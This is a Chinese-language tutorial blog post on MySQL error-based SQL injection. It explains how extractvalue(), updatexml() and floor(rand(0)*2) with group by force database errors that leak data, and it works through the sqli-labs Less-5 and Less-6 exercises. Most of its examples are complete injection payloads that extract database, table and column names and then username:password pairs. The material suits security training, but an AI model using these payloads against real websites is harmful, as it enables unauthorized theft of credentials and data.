报错注入

什么是报错注入?

  报错注入是一种页面响应形式。响应过程如下:

用户在前台页面输入检索内容 

       ↓

后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行

       ↓

数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

 

两个“无加区别”  ←(报错注入存在的基础)→  后台对于输入输出的合理性没有做检查

 

(使用union时一般不会使用报错注入,报错注入有一定局限性,但回显信息不多)

            

                                     (数据库服务器)

 

判断是否为报错注入就要看页面是否有回显,当正常用户访问服务器发送id信息,数据库服务器返回正确的id数据;当用户发送错误的信息,数据库服务器就会返回报错提示

 

报错注入通过构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,数据库服务器返回报错提示中包含数据库中的内容

eg:

 id=1时页面正常,pc把收到的信息转化为源代码发送给服务器,数据库服务器收到代码信息后查询数据库,服务器再把搜索到的信息反馈给pc,反馈信息提示You are in……

 

 当使用group by或order by判断列数为3后,使用正确的查询语句查询database()

发现命令正常执行,但是页面不正常回显,任为You are in……

 

 把database更改为datadase后,引起页面报错,从回显的报错中可以发现当前数据库名为security

报错注入

  1. 通过floor()报错注入
  2. 通过extractValue()报错注入
  3. 通过updateXml()报错注入
    ------以上三种最常用
  4. 通过NAME_CONST()报错注入
  5. 通过jion()报错注入
  6. 通过exp()报错注入
  7. 通过geometryCollection()报错注入
  8. 通过polygon()报错注入
  9. 通过multipoint()报错注入
  10. 通过multlinestring()报错注入
  11. 通过multpolygon()报错注入
  12. 通过linestring()报错注入

ExtractValue()

函数ExtractValue()包含两个参数,第一个参数 XML文档对象名称,第二个参数 路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

  1. 先在ctfstu数据库内创建表xml
    CREATE DATABASE ctfstu charset utf8;
    CREATE TABLE xml(doc varchar(1500));
  2. 在表内插入两段数据
    INSERT INTO xml (doc) 
    VALUES ('<book>
             <title>A bad boy how to get a grilfriend</title>    
             <author>
             <initial>Love</initial>
             <surname>benben</surname>
             </author>
             </book>');                          
    INSERT into xml(doc)
    VALUES ('<book>
            <title>How to become a bad boy</title>
            <author>
            <initial>hulong</initial>
            <surname>Melton</surname>
            </author>
            </book>');
  3. 使用extractvalue()查询xml里面的内容
    查询作者是谁       extractvalue()中一个是列名,一个是路径
    SELECT extractvalue(doc,'/book/author/surname')from xml;

    如果需要查询书名则可以用以下命令

    SELECT extractvalue(doc,'/book/title')from xml;

     把查询参数路径写错  查询不到内容,但不会报错

    SELECT extractvalue(doc,'/book/titlll') from xml;

    把查询参数格式符号写错  提示报错信息

    SELECT extractvalue(doc,'~book/title') from xml;

     发现报错会显示路径信息,所有构造下列语句

    SELECT extractvalue(doc,concat(0x7e,(select database()))) from xml;

     报错信息中返回数据库名

     

    利用extractvalue()报错注入  Less-5

    爆库名:

    使用?id=100' union select 1,2,extractvalue(1,concat(0x7e,(select database())))-- -

    或者使用?id=100' and 1=extractvalue(1,concat(0x7e,(select database())))-- -   都可得到以下结果

     爆表名:

    输入?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))-- - 获取所需数据表表名users

     爆列名

    ?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))-- -

    得到所需数据列列名username和password

     

    输入?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users)))-- -  因为默认只返回32个字符串,所有发现显示的不完全

     应使用函数substring解决该问题

    ?id=100' and 1=extractvalue(1,concat(0x7e,substring((select group_concat(username,password)from users),1,33)))-- -

    1,33代表从第1个字符开始,看33个字符

     

updatexml函数(用于数据更新)

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

  第一个参数:XML_document是string格式,为XML文档对象的名称,例如Doc

  第二个参数:XPath_string是路径,XPath格式的字符串

  第三个参数:new_value,string格式,替换查找到的符合条件的数据

updatexml报错原理

同extractvalue(),输入错误的第二个参数,即更改路径的符号

  正常句式

SELECT updatexml(doc,'/book/author/surname','1') from xml;

  显示为

   错误句式

SELECT updatexml(doc,'~book/author/surname','1') from xml;

报错回显路径~book/author/surname  也只能回显32个字符串,所以也会用到substring

 

利用updatexml()报错注入    Less-6

爆数据库名

?id=1" and 1=updatexml(1,concat(0x7e,(select database())),3)-- -  或  ?id=1" and 1=updatexml(1,concat('~',(select database())),3)-- -

 爆表名

?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)-- -

 

(如此发现无论是爆库名,爆表名,爆列名等等,都是千篇一律的,主要是记住命令形式

database()  数据库库名

group_concat() 把查询到的结果合并到一行显示

concat() 合并字符

优先执行括号 () 里的命令  )

 

爆列名

?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)-- -

 

爆字段名(使用到substring函数也可使用substr函数)

?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,':',password),1,30) from users)),3)-- -    显示1~30字符

 

?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,':',password),30,30) from users)),3)-- -     显示30~59字符第30个字符为,

 

 

floor报错注入

rand()函数:随机返回0~1间的小数

计算结果在0~1之间
SELECT rand();

计算结果在0~2之间
SELECT rand()*2

如果在rand()函数后面加上from users

SELECT rand()*2 from users;

在users这张表下有多少列,rand函数就会随机生成多少次,可用于判断数据表的列数

 

floor()函数:小数向下取整。向上取整数ceiling()

 

结果随机为0或者1
SELECT
floor(rand()*2);

 

在后加上from users

SELECT floor(rand()*2) from users;

可以得到很多的0,1 但是不一定能显示完

 

concat_ws()函数:将括号内数据用第一个字段连接起来

如图所示

SELECT concat_ws('-',2,3);

SELECT concat_ws('-',(select database()),3);

 

根据回显,将数字替换成一些命令,可以得到数据库名,版本号等等                  让它执行多次,在后面加上from users (有多少用户就计算多少此且结果随机)

                                              

SELECT concat_ws('-',(select database()),floor(rand()*2));

SELECT concat_ws('-',(select database()),floor(rand()*2))from users;

 

group by子句:分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组  as:别名

使用别名分组

SELECT concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;

 

count()函数:汇总统计数量

输入指令

SELECT count(*),concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;

我第一次点,发现并没有报错

 但是再执行一次或者两次,发现出现报错

 偶尔出现报错#1062 - Duplicate entry 'security~1' for key '<group_key>' 或者#1062 - Duplicate entry 'security~0' for key '<group_key>'

报错原理

报错语句和报错位置

复制代码
SELECT floor(rand()*2) from users;        根据表users的行数随机显示0或1

SELECT floor(rand(0)*2) from users;        计算不再随机,而是按照一定顺序排列

SELECT floor(rand(1)*2) from users;

SELECT count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;                固定报错

SELECT count(*),concat_ws('-',(select database()),floor(rand(1)*2)) as a from users group by a;                固定不会报错
复制代码

 

 把count去掉不再报错,说明是在统计时出现错误

输入命令 SELECT concat_ws('-',(select database()),floor(rand(0)*2))from users;  计算结果固定

 rand() 函数惊醒分组group by 和统计count()时可能会多次执行,导致键值key重复

分析:对floor(rand(0)*2) 的第一次统计时进行第一次floor()计算为0,并得到键值security-0,然后需要对concat_ws()的值进行统计并放到group_key,但是第一次统计计数时,group_key中不存在key值security-0,所以会返回到concat_ws重新计算并把结果输入键值,第二次floor()计算出security-1写入键值;对于第二次统计时,实际上是第三次floor()计算,得到security-1,然后对它进行统计,count()计数为2;第三次统计时,进行第四次floor()计算得到security-0,但是在进行统计时,发现group_key中没有此key值,再次返回到concat_ws()重新计算(第五次floor()计算)得到security-1写入key值,但是这时key值securit-1已经存在,所以报错  ERROR:Duplicat entyr 'security=1' for key '<group_key>'

 

 对于floor(rand(1)*2),对它进行第一次统计时,进行第一次floor()计算,得到security-0,但是对它进行统计时group_key中没有键值security-0,所以重新计算并把结果security-1写入键值,计数为1,第二次统计时进行第三次floor()计算得到0,对concat_ws()的值进行统计,group_key中没有security-0,再返回进行第四次floor()计算正好得到0,所以group_key 中就有了security-0,所以当rand()*2中为1时不会报错

select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;

                                 

                        作用是让rand()产生足够多次数的计算,一般使用行数比较多的默认数据表information_schema.tables

SELECT count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a;

 floor()注入  Less-5

确认字符注入(闭合符号)/数字注入,前段语句查询列数

?id=0' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a-- -

 ?id=0' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a-- -

 ?id=0' union select 1,count(*),concat_ws('-',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as a from information_schema.tables group by a -- -

 

limit:这里用于显示指定行数

 发现使用group_concat无法显示,可以尝试concat

?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

limit 0,1 从0开始显示第一行

 

使用floor报错的完整语句,用于爆出用户名和密码的

?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a -- -

 

posted @   程亦澄  阅读(696)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示